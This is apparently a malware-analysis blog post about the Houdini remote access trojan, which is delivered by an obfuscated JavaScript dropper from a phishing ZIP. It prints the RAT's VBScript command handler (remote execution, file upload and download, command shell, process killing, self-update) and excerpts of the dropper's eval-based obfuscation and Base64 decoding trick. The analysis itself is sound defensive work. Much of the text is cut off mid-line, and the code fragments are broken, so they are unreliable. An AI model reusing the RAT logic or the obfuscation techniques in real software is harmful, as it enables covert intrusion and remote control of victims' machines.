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Houdini is Back Delivered Through a JavaScript Dropper

Houdini is a very old RAT that was discovered years ago. The first mention I found back is from 2013! Houdini is a simple remote access tool writt The RAT implements the following commands:

```
cmd = split (response,spliter)
select case cmd (0)
case "excecute"
      param = cmd (1)
      execute param
case "update"
     param = cmd (1)
     oneonce.close
     set oneonce = filesystemobj.opentextfile (installdir & installname ,2,
      oneonce.write param
     oneonce.close
     shellobj.run "wscript.exe //B " & chr(34) & installdir & installname &
     wscript.quit
case "uninstall"
     uninstall
case "send"
      download cmd (1),cmd (2)
case "site-send"
      sitedownloader cmd (1),cmd (2)
case "recv"
     param = cmd (1)
     upload (param)
case "enum-driver"
     post "is-enum-driver",enumdriver
     "enum-faf"
case
      param = cmd (1)
     post "is-enum-faf",enumfaf (param)
     "enum-process"
case
      post "is-enum-process",enumprocess
case "cmd-shell"
     param = cmd (1)
      post "is-cmd-shell",cmdshell (param)
case "delete"
     param = cmd (1)
     deletefaf (param)
case "exit-process"
     param = cmd (1)
      exitprocess (param)
case "sleep"
     param = cmd (1)
      sleep = eval (param)
end select
```

Nothing really fancy here. What's more interesting is the way it is delivered to the victim. A classic technique is used: a phishing email with a ZIP at The JavaScript is pretty well obfuscated but, once you check deeper, you quickly realize that most of the code is not used. The main function is kl

```
var kk = function () {
    var __p_8886114462 = false;
    if (__p_8886114462) {
        function Example() {
            var state = redacted.useState(false);
            return x(ErrorBoundary, null, x(DisplayName, null));
    this['StringConstantPool$'] = function () {
        var = p 0015805216 = false;
        lifeTime$$$$()(NativeCloudLoadBalancer);
        var ImageClassifiers$$ = [[[lover$$$(NativeCloudLoadBalancer)]]]
        if (__p_0015805216) {
            function setCookie(cname, cvalue, exdays) {
                var d = new Date();
                d.setTime(d.getTime() + exdays * 24 * 60 * 60 * 1000);
                var expires = 'expires=' + d.toUTCString();
                document.cookie = cname + '=' + cvalue + ';' + expires +
        ImageClassifiers$$[0][0][0];
        var ll = new Function('', NativeCloudLoadBalancer['Cloud9999'][0]
    }();
};
kk();
```

The technique used is simple: A variable is defined and set to false (example: __p_0015805216). Then code blocks are executed if the variable is JavaScript is a very beautiful/ugly language (select your best feeling) that is very permissive with the code. So, another technique is the creation of

```
var lifeTime$$$$ = function () {
    return function (vigraJs$$$$__) {
        vai lifeJoy$$$ = BinanceCloudArrrayFunction(vigraJs$$$$__);
        for (var lover$$$$$$$ = 0; lover$$$$$$$ < lifeJoy$$$['length'];
            eval(lifeJoy$$$[lover$$$$$$][[]['length']] + '=' + lifeJoy$
    };
};
var kk = function () {
    var = p | 8886114462 = false;
    if ( p 8886114462) {
        function Example() {
            var state = redacted.useState(false);
            return x(ErrorBoundary, null, x(DisplayName, null));
    this['StringConstantPool$'] = function () {
        var | p 0015805216 = false;
        lifeTime$$$$()(NativeCloudLoadBalancer);
        var ImageClassifiers$$ = [[[lover$$$(NativeCloudLoadBalancer)]]]
        if ( p 0015805216) {
            function setCookie(cname, cvalue, exdays) {
                var d = new Date();
                d.setTime(d.getTime() + exdays * 24 * 60 * 60 * 1000);
                var expires = 'expires=' + d.toUTCString();
                document.cookie = cname + '=' + cvalue + ';' + expires +
            }
```

When I'm teaching FOR610, I like to say to students that they must find their way and go straight to the point to find what the script being analyze

Now, you can search for this string and find that it is just returned, again, by a simple function:

This looks like a Base64-encoded string but it won't decode "as is". The attacker added some bad characters that must be replaced first:

```
[
    'lmao$$$_.text',
    '"' + vigraJs$$$$__['Cloud9999']['replace'](/!l&/g, 'A') + '"'
],
```

The script drops two other samples on the file system:

 $\begin{tabular}{ll} C:\Windows\system32\wscript.exe" //B "C:\Users\admin\AppData\Roaming\HUAqCSmCDP.js C:\Windows\System32\wscript.exe" "C:\Users\admin\AppData\Local\Temp\hworm.vbs \\ \end{tabular}$

An interesting point: Persistence is implemented via two techniques in parallel, via the registry (HKEY_CURRENT_USER\Software\Microsoft\Win

 $\hbox{[1] $\underline{https://www.virustotal.com/gui/file/402a722d58368018ffb78eda78280a3f1e6346dd8996b4e4cd442f30e429a5cf/detection.} \\$

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I will be teaching next: Reverse-Engineering Malware: Malware Analysis Tools and Techniques - SANS Amsterdam August 2022